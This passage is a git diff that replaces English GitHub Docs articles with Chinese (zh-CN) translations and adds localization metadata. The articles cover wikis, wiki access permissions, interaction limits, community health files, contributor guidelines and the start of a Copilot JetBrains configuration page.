有关详细信息,请参阅“[关于 README](/articles/about-readmes)”。 -Every repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} comes equipped with a section for hosting documentation, called a wiki. You can use your repository's wiki to share long-form content about your project, such as how to use it, how you designed it, or its core principles. A README file quickly tells what your project can do, while you can use a wiki to provide additional documentation. For more information, see "[About READMEs](/articles/about-readmes)." - -With wikis, you can write content just like everywhere else on {% data variables.product.product_name %}. For more information, see "[Getting started with writing and formatting on {% data variables.product.prodname_dotcom %}](/articles/getting-started-with-writing-and-formatting-on-github)." We use [our open-source Markup library](https://github.com/github/markup) to convert different formats into HTML, so you can choose to write in Markdown or any other supported format. +使用 wiki,可以像在 {% data variables.product.product_name %} 的任何其他位置一样编写内容。 有关详细信息,请参阅“[在 {% data variables.product.prodname_dotcom %} 上编写和设置格式入门](/articles/getting-started-with-writing-and-formatting-on-github)”。 我们使用[开源标记库](https://github.com/github/markup)将不同的格式转换为 HTML,以便选择使用 Markdown 或任何其他支持的格式编写。 {% data reusables.getting-started.math-and-diagrams %} -{% ifversion fpt or ghes or ghec %}If you create a wiki in a public repository, the wiki is available to {% ifversion ghes %}anyone with access to {% data variables.location.product_location %}{% else %}the public{% endif %}. {% endif %}If you create a wiki in a private{% ifversion ghec or ghes %} or internal{% endif %} repository, only {% ifversion fpt or ghes or ghec %}people{% elsif ghae %}enterprise members{% endif %} with access to the repository can access the wiki. For more information, see "[Setting repository visibility](/articles/setting-repository-visibility)." +{% ifversion fpt or ghes or ghec %}如果在公共存储库中创建 wiki,则该 wiki 可供{% ifversion ghes %}具有 {% data variables.product.product_location %} 访问权限的任何人{% else %}公共{% endif %}访问。 {% endif %}如果您在私有{% ifversion ghec or ghes %} 或内部{% endif %} 存储库中创建 Wiki,则仅有权访问该仓库的{% ifversion fpt or ghes or ghec %}人员{% elsif ghae %}企业成员{% endif %} 才能访问该 Wiki。 有关详细信息,请参阅[设置存储库可见性](/articles/setting-repository-visibility)。 -You can edit wikis directly on {% data variables.product.product_name %}, or you can edit wiki files locally. By default, only people with write access to your repository can make changes to wikis, although you can allow everyone on {% data variables.location.product_location %} to contribute to a wiki in {% ifversion ghae %}an internal{% else %}a public{% endif %} repository. For more information, see "[Changing access permissions for wikis](/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis)." +您可以直接在 {% data variables.product.product_name %} 上编辑 wikis,也可在本地编辑 wiki 文件。 默认情况下,只有能够写入仓库的人才可更改 wikis,但您可以允许 {% data variables.product.product_location %} 上的每个人参与{% ifversion ghae %}内部{% else %}公共{% endif %}仓库中的 wiki。 有关详细信息,请参阅“[更改对 wiki 的访问权限](/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis)”。 {% note %} -**Note:** Search engines will not index the contents of wikis. To have your content indexed by search engines, you can use [{% data variables.product.prodname_pages %}](/pages) in a public repository. +注意:搜索引擎不会对 Wiki 的内容编制索引。 若要通过搜索引擎对内容编制索引,可以在公共存储库中使用 [{% data variables.product.prodname_pages %}](/pages)。 {% endnote %} -## Further reading +## 延伸阅读 -- "[Adding or editing wiki pages](/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages)" -- "[Creating a footer or sidebar for your wiki](/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki)" -- "[Editing wiki content](/communities/documenting-your-project-with-wikis/editing-wiki-content)" -- "[Viewing a wiki's history of changes](/articles/viewing-a-wiki-s-history-of-changes)" -- "[Searching wikis](/search-github/searching-on-github/searching-wikis)" +- [添加或编辑 Wiki 页面](/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages) +- [为 Wiki 创建页脚或边栏](/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki) +- [编辑 Wiki 内容](/communities/documenting-your-project-with-wikis/editing-wiki-content) +- [查看 Wiki 的更改历史记录](/articles/viewing-a-wiki-s-history-of-changes) +- [搜索 Wiki](/search-github/searching-on-github/searching-wikis) diff --git a/translations/zh-CN/content/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis.md b/translations/zh-CN/content/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis.md index 1601243f86..4ce52bf3eb 100644 --- a/translations/zh-CN/content/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis.md +++ b/translations/zh-CN/content/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis.md @@ -1,6 +1,6 @@ --- -title: Changing access permissions for wikis -intro: 'Only repository collaborators can edit a {% ifversion fpt or ghec or ghes %}public{% endif %} repository''s wiki by default, but you can allow anyone with an account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} to edit your wiki.' +title: 更改对 wiki 的访问权限 +intro: '默认情况下,只有仓库协作者才能编辑{% ifversion fpt or ghec or ghes %}公共{% endif %}仓库的 wiki,但您可以允许拥有 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 帐户的任何人编辑您的 wiki。' product: '{% data reusables.gated-features.wikis %}' redirect_from: - /articles/changing-access-permissions-for-wikis @@ -13,13 +13,17 @@ versions: topics: - Community shortTitle: Change access permissions +ms.openlocfilehash: 51a9ec690f0bdad1be302592091565b65e5f9b9b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145086615' --- +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} +3. 在“功能”下,取消选中“仅限于协作者编辑”。 + ![Wiki 编辑限制](/assets/images/help/wiki/wiki_restrict_editing.png) -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -3. Under Features, unselect **Restrict edits to collaborators only**. - ![Wiki restrict editing](/assets/images/help/wiki/wiki_restrict_editing.png) +## 延伸阅读 -## Further reading - -- "[Disabling wikis](/communities/documenting-your-project-with-wikis/disabling-wikis)" +- [禁用 Wiki](/communities/documenting-your-project-with-wikis/disabling-wikis) diff --git a/translations/zh-CN/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md b/translations/zh-CN/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md index e9f9038bcc..4dcb4603ad 100644 --- a/translations/zh-CN/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md +++ b/translations/zh-CN/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md @@ -1,6 +1,6 @@ --- -title: Editing wiki content -intro: 'You can add images and links to content in your wiki, and use some supported MediaWiki formats.' +title: 编辑 wiki 内容 +intro: 您可以将图片和内容链接添加到您的 wiki,并使用某些受支持的 MediaWiki 格式。 redirect_from: - /articles/adding-links-to-wikis - /articles/how-do-i-add-links-to-my-wiki @@ -19,47 +19,51 @@ versions: ghec: '*' topics: - Community +ms.openlocfilehash: 0afae4335dbf6ff78c0b0e1a2bef4cebed637a5e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147578938' --- +## 添加链接 -## Adding links +您可以使用页面支持的标准标记或使用 MediaWiki 语法在 wiki 中创建链接。 例如: -You can create links in wikis using the standard markup supported by your page, or using MediaWiki syntax. For example: +- 如果页面使用 Markdown 呈现,则链接语法为 `[Link Text](full-URL-of-wiki-page)`。 +- 使用 MediaWiki 语法时,链接语法为 `[[nameofwikipage|Link Text]]`。 -- If your pages are rendered with Markdown, the link syntax is `[Link Text](full-URL-of-wiki-page)`. -- With MediaWiki syntax, the link syntax is `[[nameofwikipage|Link Text]]`. +## 添加图像 -## Adding images +Wikis 可显示 PNG、JPEG 和 GIF 图片。 -Wikis can display PNG, JPEG, and GIF images. +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-wiki %} +3. 使用 Wiki 边栏,导航到要更改的页面,然后单击“编辑”。 +4. 在 Wiki 工具栏上,单击“图像”。 + ![Wiki“添加图像”按钮](/assets/images/help/wiki/wiki_add_image.png) +5. 在“Insert Image”(插入图像)对话框,输入 URL 和 alt 文本(由搜索引擎和屏幕阅读器使用)。 +6. 单击" **确定**"。 -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-wiki %} -3. Using the wiki sidebar, navigate to the page you want to change, and then click **Edit**. -4. On the wiki toolbar, click **Image**. - ![Wiki Add image button](/assets/images/help/wiki/wiki_add_image.png) -5. In the "Insert Image" dialog box, type the image URL and the alt text (which is used by search engines and screen readers). -6. Click **OK**. +### 链接到仓库中的图片 -### Linking to images in a repository - -You can link to an image in a repository on {% data variables.product.product_name %} by copying the URL in your browser and using that as the path to the image. For example, embedding an image in your wiki using Markdown might look like this: +您可以通过在浏览器中复制链接并将其用作图像路径,链接到 {% data variables.product.product_name %} 上仓库中的图像。 例如,使用 Markdown 在 wiki 中嵌入图像可能如下所示: [[https://github.com/USERNAME/REPOSITORY/blob/main/img/octocat.png|alt=octocat]] -{% ifversion fpt or ghec or ghes > 3.6 or ghae > 3.6 %} -## Adding mathematical expressions and diagrams{% endif %} +{% ifversion fpt or ghec or ghes > 3.6 or ghae-issue-7647 %} +## 添加数学表达式和关系图{% endif %} {% data reusables.getting-started.math-and-diagrams %} -## Supported MediaWiki formats +## 受支持的 MediaWiki 格式 -No matter which markup language your wiki page is written in, certain MediaWiki syntax will always be available to you. -- Links ([except AsciiDoc](https://github.com/gollum/gollum/commit/d1cf698b456cd6a35a54c6a8e7b41d3068acec3b)) -- Horizontal rules via `---` -- Shorthand symbol entities (such as `δ` or `€`) +无论您的 wiki 页面以哪种标记语言编写,始终可使用某些 MediaWiki 语法。 +- 链接([AsciiDoc 除外](https://github.com/gollum/gollum/commit/d1cf698b456cd6a35a54c6a8e7b41d3068acec3b)) +- 借助于 `---` 的水平规则 +- 简明符号实体(例如 `δ` 或者 `€`) -For security and performance reasons, some syntaxes are unsupported. -- [Transclusion](https://www.mediawiki.org/wiki/Transclusion) -- Definition lists -- Indentation -- Table of contents +出于安全和性能原因,某些语法不受支持。 +- [嵌入包含](https://www.mediawiki.org/wiki/Transclusion) +- 定义列表 +- 缩进 +- 目录 diff --git a/translations/zh-CN/content/communities/moderating-comments-and-conversations/limiting-interactions-for-your-user-account.md b/translations/zh-CN/content/communities/moderating-comments-and-conversations/limiting-interactions-for-your-user-account.md new file mode 100644 index 0000000000..654d375742 --- /dev/null +++ b/translations/zh-CN/content/communities/moderating-comments-and-conversations/limiting-interactions-for-your-user-account.md @@ -0,0 +1,36 @@ +--- +title: 限制用户帐户的交互 +intro: You can temporarily enforce a period of limited activity for certain users in all public repositories owned by your personal account. +versions: + fpt: '*' + ghec: '*' +permissions: Anyone can limit interactions for their own personal account. +redirect_from: +- /github/building-a-strong-community/limiting-interactions-for-your-user-account +topics: +- Community +shortTitle: Limit interactions in account +ms.openlocfilehash: d303a15507d923f8c35d40432ba09e4ccf377536 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145086560" +--- +## 关于临时交互限制 + +限制个人帐户的交互可对个人帐户拥有的所有公共存储库启用临时交互限制。 {% data reusables.community.interaction-limits-restrictions %} + +{% data reusables.community.interaction-limits-duration %} 在限制期过后,用户可以在您的公共仓库中恢复正常活动。 + +{% data reusables.community.types-of-interaction-limits %} + +启用用户范围的活动限制时,无法对单个仓库启用或禁用交互限制。 有关限制单个存储库的活动的详细信息,请参阅“[限制存储库中的交互](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)”。 + +您还可以阻止用户。 有关详细信息,请参阅“[阻止用户访问个人帐户](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account)”。 + +## 限制个人帐户的交互 + +{% data reusables.user-settings.access_settings %} +1. 在边栏的“访问”部分中,选择“{% octicon "report" aria-label="The report icon" %} 审查”,然后单击“交互限制” 。 +{% data reusables.community.set-interaction-limit %} ![临时交互限制选项](/assets/images/help/settings/user-account-temporary-interaction-limits-options.png) diff --git a/translations/zh-CN/content/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file.md b/translations/zh-CN/content/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file.md index 8f7905ac45..15b993f87a 100644 --- a/translations/zh-CN/content/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file.md +++ b/translations/zh-CN/content/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file.md @@ -1,6 +1,6 @@ --- -title: Creating a default community health file -intro: 'You can create default community health files, such as CONTRIBUTING and CODE_OF_CONDUCT. Default files will be used for any repository owned by the account that does not contain its own file of that type.' +title: 创建默认的社区运行状况文件 +intro: 您可以创建默认社区健康文件,例如 CONTRIBUTING 和 CODE_OF_CONDUCT。 默认文件将用于不包含该类型自有文件的帐户所拥有的任何仓库。 redirect_from: - /articles/creating-a-default-community-health-file-for-your-organization - /github/building-a-strong-community/creating-a-default-community-health-file-for-your-organization @@ -12,46 +12,41 @@ versions: topics: - Community shortTitle: Community health file +ms.openlocfilehash: 85a672d0cc0991a5325df8a107737da47c7b81d3 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193266' --- +## 关于默认社区健康文件 -## About default community health files +可以将默认社区运行状况文件添加到存储库根目录下或者 `docs` 或 `.github` 文件夹中名为 `.github` 的公共存储库中。 -You can add default community health files to a public repository called `.github`, in the root of the repository or in the `docs` or `.github` folders. +对于在以下任何位置不含该类型自有文件的帐户所拥有的任何仓库,{% data variables.product.product_name %} 将使用并显示默认文件: +- 仓库的根目录 +- `.github` 文件夹 +- `docs` 文件夹 -{% data variables.product.product_name %} will use and display default files for any repository owned by the account that does not have its own file of that type in any of the following places: -- the root of the repository -- the `.github` folder -- the `docs` folder +例如,在不含自有 CONTRIBUTING 文件的仓库中创建议题或拉取请求的人将会看到指向默认 CONTRIBUTING 文件的链接。 如果存储库在其自己的 `.github/ISSUE_TEMPLATE` 文件夹{% ifversion fpt or ghes or ghec %}中含有任何文件,包括议题模板或 config.yml 文件,{% endif %}则不会使用默认 `.github/ISSUE_TEMPLATE` 文件夹的内容。 -For example, anyone who creates an issue or pull request in a repository that does not have its own CONTRIBUTING file will see a link to the default CONTRIBUTING file. If a repository has any files in its own `.github/ISSUE_TEMPLATE` folder{% ifversion fpt or ghes or ghec %}, including issue templates or a *config.yml* file,{% endif %} none of the contents of the default `.github/ISSUE_TEMPLATE` folder will be used. +默认文件不包含在各个存储库的克隆、包或下载中,因为它们只存储在 `.github` 存储库中。 -Default files are not included in clones, packages, or downloads of individual repositories because they are stored only in the `.github` repository. +## 支持的文件类型 -## Supported file types +可以在组织{% ifversion fpt or ghes or ghec %}或个人帐户{% endif %}中为以下社区运行状况文件创建默认内容: -You can create defaults in your organization{% ifversion fpt or ghes or ghec %} or personal account{% endif %} for the following community health files: +社区运行状况文件 | 说明 --- | ---{% ifversion fpt or ghec %} CODE_OF_CONDUCT.md | CODE_OF_CONDUCT 文件定义有关如何参与社区的标准。 有关详细信息,请参阅“[为项目添加行为准则](/articles/adding-a-code-of-conduct-to-your-project/)”。{% endif %} CONTRIBUTING.md | CONTRIBUTING 文件指示应如何参与你的项目。 有关详细信息,请参阅“[设置存储库参与者指南](/articles/setting-guidelines-for-repository-contributors/)”。{% ifversion discussion-category-forms %} 讨论类别表单 | 讨论类别表单自定义社区成员在存储库中打开新讨论时可以使用的模板。 有关详细信息,请参阅“[创建讨论类别表单](/discussions/managing-discussions-for-your-community/creating-discussion-category-forms)”。{% endif %}{% ifversion fpt or ghec %} FUNDING.yml | FUNDING 文件在存储库中显示发起人按钮,以提高开源项目资助选项的可见性。 有关详细信息,请参阅“[在存储库中显示发起人按钮](/articles/displaying-a-sponsor-button-in-your-repository)。”{% endif %} 问题和拉取请求模板 {% ifversion fpt or ghes or ghec %} 和 config.yml{% endif %} | 问题和拉取请求模板可自定义和标准化你希望参与者在存储库中打开问题或拉取请求时包含的信息。 有关详细信息,请参阅“[关于问题和拉取请求模板](/articles/about-issue-and-pull-request-templates/)。”{% ifversion fpt or ghes or ghec %} SECURITY.md | SECURITY 文件阐述了如何报告项目中的安全漏洞。 有关详细信息,请参阅“[向存储库添加安全策略](/code-security/getting-started/adding-a-security-policy-to-your-repository)。”{% endif %} SUPPORT.md | SUPPORT 文件介绍在项目中获取帮助的途径。 有关详细信息,请参阅“[向项目添加支持资源](/articles/adding-support-resources-to-your-project/)”。 -Community health file | Description ---- | ---{% ifversion fpt or ghec %} -*CODE_OF_CONDUCT.md* | A CODE_OF_CONDUCT file defines standards for how to engage in a community. For more information, see "[Adding a code of conduct to your project](/articles/adding-a-code-of-conduct-to-your-project/)."{% endif %} -*CONTRIBUTING.md* | A CONTRIBUTING file communicates how people should contribute to your project. For more information, see "[Setting guidelines for repository contributors](/articles/setting-guidelines-for-repository-contributors/)."{% ifversion discussion-category-forms %} -Discussion category forms | Discussion category forms customize the templates that are available for community members to use when they open new discussions in your repository. For more information, see "[Creating discussion category forms](/discussions/managing-discussions-for-your-community/creating-discussion-category-forms)."{% endif %}{% ifversion fpt or ghec %} -*FUNDING.yml* | A FUNDING file displays a sponsor button in your repository to increase the visibility of funding options for your open source project. For more information, see "[Displaying a sponsor button in your repository](/articles/displaying-a-sponsor-button-in-your-repository)."{% endif %} -Issue and pull request templates{% ifversion fpt or ghes or ghec %} and *config.yml*{% endif %} | Issue and pull request templates customize and standardize the information you'd like contributors to include when they open issues and pull requests in your repository. For more information, see "[About issue and pull request templates](/articles/about-issue-and-pull-request-templates/)."{% ifversion fpt or ghes or ghec %} -*SECURITY.md* | A SECURITY file gives instructions for how to report a security vulnerability in your project. For more information, see "[Adding a security policy to your repository](/code-security/getting-started/adding-a-security-policy-to-your-repository)."{% endif %} -*SUPPORT.md* | A SUPPORT file lets people know about ways to get help with your project. For more information, see "[Adding support resources to your project](/articles/adding-support-resources-to-your-project/)." +您不能创建默认许可文件。 必须将许可文件添加到各个仓库中,以便在克隆、打包或下载项目时包含该文件。 -You cannot create a default license file. License files must be added to individual repositories so the file will be included when a project is cloned, packaged, or downloaded. - -## Creating a repository for default files +## 创建用于默认文件的仓库 {% data reusables.repositories.create_new %} -2. Use the **Owner** drop-down menu, and select the organization{% ifversion fpt or ghes or ghec %} or personal account{% endif %} you want to create default files for. - ![Owner drop-down menu](/assets/images/help/repository/create-repository-owner.png) -3. Type **.github** as the name for your repository, and an optional description. - ![Create repository field](/assets/images/help/repository/default-file-repository-name.png) -4. Make sure the repository status is set to **Public** (a repository for default files cannot be private). - ![Radio buttons to select private or public status](/assets/images/help/repository/create-repository-public-private.png) -{% data reusables.repositories.initialize-with-readme %} -{% data reusables.repositories.create-repo %} -7. In the repository, create one of the supported community health files. Issue templates{% ifversion fpt or ghes or ghec %} and their configuration file{% endif %} must be in a folder called `.github/ISSUE_TEMPLATE`. All other supported files may be in the root of the repository, the `.github` folder, or the `docs` folder. For more information, see "[Creating new files](/articles/creating-new-files/)." +2. 使用“所有者”下拉菜单,选择要为其创建默认文件的组织{% ifversion fpt or ghes or ghec %}或个人帐户{% endif %}。 + ![所有者下拉菜单](/assets/images/help/repository/create-repository-owner.png) +3. 输入“.github”作为存储库的名称和描述(可选)。 + ![创建存储库字段](/assets/images/help/repository/default-file-repository-name.png) +4. 确保存储库状态设置为“公共”(默认文件的存储库不能是私有的)。 + ![用于选择私有或公共状态的单选按钮](/assets/images/help/repository/create-repository-public-private.png) {% data reusables.repositories.initialize-with-readme %} {% data reusables.repositories.create-repo %} +7. 在仓库中,创建一个受支持的社区健康文件。 议题模板 {% ifversion fpt or ghes or ghec %} 及其配置文件 {% endif %} 必须位于名为 `.github/ISSUE_TEMPLATE` 的文件夹中。 所有其他支持的文件可能位于存储库根目录、`.github` 文件夹或 `docs` 文件夹中。 有关详细信息,请参阅“[新建文件](/articles/creating-new-files/)”。 diff --git a/translations/zh-CN/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md b/translations/zh-CN/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md index 17139235ce..36328dcc4f 100644 --- a/translations/zh-CN/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md +++ b/translations/zh-CN/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md @@ -1,6 +1,6 @@ --- -title: Setting guidelines for repository contributors -intro: You can create guidelines to communicate how people should contribute to your project. +title: 设置仓库参与者指南 +intro: 您可以创建告知人们应如何参与您的项目的指南。 versions: fpt: '*' ghes: '*' @@ -13,56 +13,59 @@ redirect_from: topics: - Community shortTitle: Contributor guidelines +ms.openlocfilehash: b418c5a3d10f8b8f7572f33b17a9ebfbb3de27d3 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147578786' --- -## About contributing guidelines -To help your project contributors do good work, you can add a file with contribution guidelines to your project repository's root, `docs`, or `.github` folder. When someone opens a pull request or creates an issue, they will see a link to that file. The link to the contributing guidelines also appears on your repository's `contribute` page. For an example of a `contribute` page, see [github/docs/contribute](https://github.com/github/docs/contribute). +## 关于参与指南 +为帮助项目参与者做好工作,可以将含有参与指南的文件添加到项目存储库的根目录、`docs` 或 `.github` 文件夹。 有人打开拉取请求或创建议题时,他们将看到指向该文件的链接。 参与指南的链接也会出现在存储库的 `contribute` 页。 有关 `contribute` 页面的示例,请参阅 [github/docs/contribute](https://github.com/github/docs/contribute)。 -![contributing-guidelines](/assets/images/help/pull_requests/contributing-guidelines.png) +![参与指南](/assets/images/help/pull_requests/contributing-guidelines.png) -For the repository owner, contribution guidelines are a way to communicate how people should contribute. +对于仓库所有者,参与指南是告知人们应如何参与的一种途径。 -For contributors, the guidelines help them verify that they're submitting well-formed pull requests and opening useful issues. +对于参与者,该指南帮助他们确认其提交格式规范的拉取请求和打开有用的议题。 -For both owners and contributors, contribution guidelines save time and hassle caused by improperly created pull requests or issues that have to be rejected and re-submitted. +对于所有者和参与者来说,参与指南节省了由于不正确创建必须拒绝和重新提交的拉取请求或议题而导致的时间和麻烦。 {% ifversion fpt or ghes or ghec %} -You can create default contribution guidelines for your organization{% ifversion fpt or ghes or ghec %} or personal account{% endif %}. For more information, see "[Creating a default community health file](//communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)." +可以为组织{% ifversion fpt or ghes or ghec %}或个人帐户{% endif %}创建默认贡献指南。 有关详细信息,请参阅[创建默认社区运行状况文件](//communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)。 {% endif %} {% tip %} -**Tip:** Repository maintainers can set specific guidelines for issues by creating an issue or pull request template for the repository. For more information, see "[About issue and pull request templates](/articles/about-issue-and-pull-request-templates)." +提示:存储库维护员可以通过为存储库创建问题或拉取请求模板来设置问题的特定指南。 有关详细信息,请参阅“[关于问题和拉取请求模板](/articles/about-issue-and-pull-request-templates)”。 {% endtip %} -## Adding a *CONTRIBUTING* file +## 添加 CONTRIBUTING 文件 -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.files.add-file %} -3. Decide whether to store your contributing guidelines in your repository's root, `docs`, or `.github` directory. Then, in the filename field, type the name and extension for the file. Contributing guidelines filenames are not case sensitive. Files are rendered in rich text format if the file extension is in a supported format. For more information, see "[Working with non-code files](/repositories/working-with-files/using-files/working-with-non-code-files#rendering-differences-in-prose-documents)." - ![New file name](/assets/images/help/repository/new-file-name.png) - - To make your contributing guidelines visible in the repository's root directory, type *CONTRIBUTING*. - - To make your contributing guidelines visible in the repository's `docs` directory, type *docs/* to create the new directory, then *CONTRIBUTING*. - - If a repository contains more than one *CONTRIBUTING* file, then the file shown in links is chosen from locations in the following order: the `.github` directory, then the repository's root directory, and finally the `docs` directory. -4. In the new file, add contribution guidelines. These could include: - - Steps for creating good issues or pull requests. - - Links to external documentation, mailing lists, or a code of conduct. - - Community and behavioral expectations. -{% data reusables.files.write_commit_message %} -{% data reusables.files.choose_commit_branch %} -{% data reusables.files.propose_new_file %} +{% data reusables.repositories.navigate-to-repo %} {% data reusables.files.add-file %} +3. 决定是在存储库的根目录、`docs` 还是 `.github` 目录中存储你的参与指南。 然后,在文件名字段中,输入文件的名称和扩展名。 参与指南文件名不区分大小写。 如果文件扩展名为支持的格式,文件会以富文本格式呈现。 有关详细信息,请参阅“[使用非代码文件](/repositories/working-with-files/using-files/working-with-non-code-files#rendering-differences-in-prose-documents)”。 + “新文件名”![](/assets/images/help/repository/new-file-name.png) + - 要使参与指南在存储库的根目录中显示,请键入“CONTRIBUTING”。 + - 要使参与指南在存储库的 `docs` 目录中可见,请键入“docs/”以创建新目录,然后键入“CONTRIBUTING” 。 + - 如果存储库包含多个 CONTRIBUTING 文件,则按以下顺序从各位置中选择链接中显示的文件:`.github` 目录,然后是存储库的根目录,最后是 `docs` 目录。 +4. 在新文件中,添加参与指南。 这些可能包括: + - 创建良好议题或拉取请求的步骤。 + - 指向外部文档、邮件列表或行为准则的链接。 + - 社区和行为预期。 +{% data reusables.files.write_commit_message %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_new_file %} -## Examples of contribution guidelines +## 参与指南示例 -If you're stumped, here are some good examples of contribution guidelines: +如果您觉得难以着手,以下是参与指南的一些良好示例: -- The {% data variables.product.prodname_docs %} [contribution guidelines](https://github.com/github/docs/blob/main/CONTRIBUTING.md). -- The Ruby on Rails [contribution guidelines](https://github.com/rails/rails/blob/main/CONTRIBUTING.md). -- The Open Government [contribution guidelines](https://github.com/opengovernment/opengovernment/blob/master/CONTRIBUTING.md). +- Atom 编辑器[参与指南](https://github.com/atom/atom/blob/master/CONTRIBUTING.md)。 +- Ruby on Rails [参与指南](https://github.com/rails/rails/blob/main/CONTRIBUTING.md)。 +- Open Government [参与指南](https://github.com/opengovernment/opengovernment/blob/master/CONTRIBUTING.md)。 -## Further reading -- The Open Source Guides' section "[Starting an Open Source Project](https://opensource.guide/starting-a-project/)"{% ifversion fpt or ghec %} +## 延伸阅读 +- 开源指南的“[启动开源项目](https://opensource.guide/starting-a-project/)”部分 {% ifversion fpt or ghec %} - [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}){% endif %}{% ifversion fpt or ghes or ghec %} -- "[Adding a license to a repository](/articles/adding-a-license-to-a-repository)"{% endif %} +- [添加许可证到存储库](/articles/adding-a-license-to-a-repository){% endif %} diff --git a/translations/zh-CN/content/copilot/configuring-github-copilot/configuring-github-copilot-in-a-jetbrains-ide.md b/translations/zh-CN/content/copilot/configuring-github-copilot/configuring-github-copilot-in-a-jetbrains-ide.md index 5fff4f1535..2c238f1e60 100644 --- a/translations/zh-CN/content/copilot/configuring-github-copilot/configuring-github-copilot-in-a-jetbrains-ide.md +++ b/translations/zh-CN/content/copilot/configuring-github-copilot/configuring-github-copilot-in-a-jetbrains-ide.md @@ -1,100 +1,105 @@ --- -title: Configuring GitHub Copilot in a JetBrains IDE -intro: 'You can enable, configure, and disable {% data variables.product.prodname_copilot %} in a JetBrains IDE.' +title: 在 JetBrains IDE 中配置 GitHub Copilot +intro: '可以在 JetBrains IDE 中启用、配置和禁用 {% data variables.product.prodname_copilot %}。' product: '{% data reusables.gated-features.copilot %}' topics: - Copilot versions: feature: copilot shortTitle: JetBrains +ms.openlocfilehash: 9f0f35bf5aebbf1899bd3991b0bca9e62f1da6ed +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193252' --- +## 关于 JetBrains IDE 中的 {% data variables.product.prodname_copilot %} -## About {% data variables.product.prodname_copilot %} in JetBrains IDEs - -If you use a Jetbrains IDE, {% data variables.product.prodname_copilot %} can autocomplete code as you type. After installation, you can enable or disable {% data variables.product.prodname_copilot %}, and you can configure advanced settings within your IDE or on {% data variables.product.prodname_dotcom_the_website %}. This article describes how to configure {% data variables.product.prodname_copilot %} in the IntelliJ IDE, but the user interfaces of other Jetbrains IDEs may differ. +如果使用 Jetbrains IDE,{% data variables.product.prodname_copilot %} 可在你键入内容时自动完成代码。 安装后,可以启用或禁用 {% data variables.product.prodname_copilot %},并且可以在 IDE 或 {% data variables.product.prodname_dotcom_the_website %} 上配置高级设置。 本文介绍如何在 IntelliJ IDE 中配置 {% data variables.product.prodname_copilot %},但其他 Jetbrains IDE 的用户界面可能有所不同。 {% data reusables.copilot.dotcom-settings %} -## Prerequisites +## 先决条件 -To configure {% data variables.product.prodname_copilot %} in a JetBrains IDE, you must install the {% data variables.product.prodname_copilot %} plugin. For more information, see "[Getting started with {% data variables.product.prodname_copilot %} in a JetBrains IDE](/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-a-jetbrains-ide)." +要在 JetBrains IDE 中配置 {% data variables.product.prodname_copilot %},必须先安装 {% data variables.product.prodname_copilot %} 插件。 有关详细信息,请参阅“[JetBrains IDE 中的 {% data variables.product.prodname_copilot %} 入门指南](/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-a-jetbrains-ide)”。 -## Keyboard shortcuts for {% data variables.product.prodname_copilot %} +## {% data variables.product.prodname_copilot %} 的键盘快捷方式 -You can use the default keyboard shortcuts for inline suggestions in your JetBrains IDE when using {% data variables.product.prodname_copilot %}. Alternatively, you can rebind the shortcuts to your preferred keyboard shortcuts for each specific command. For more information on 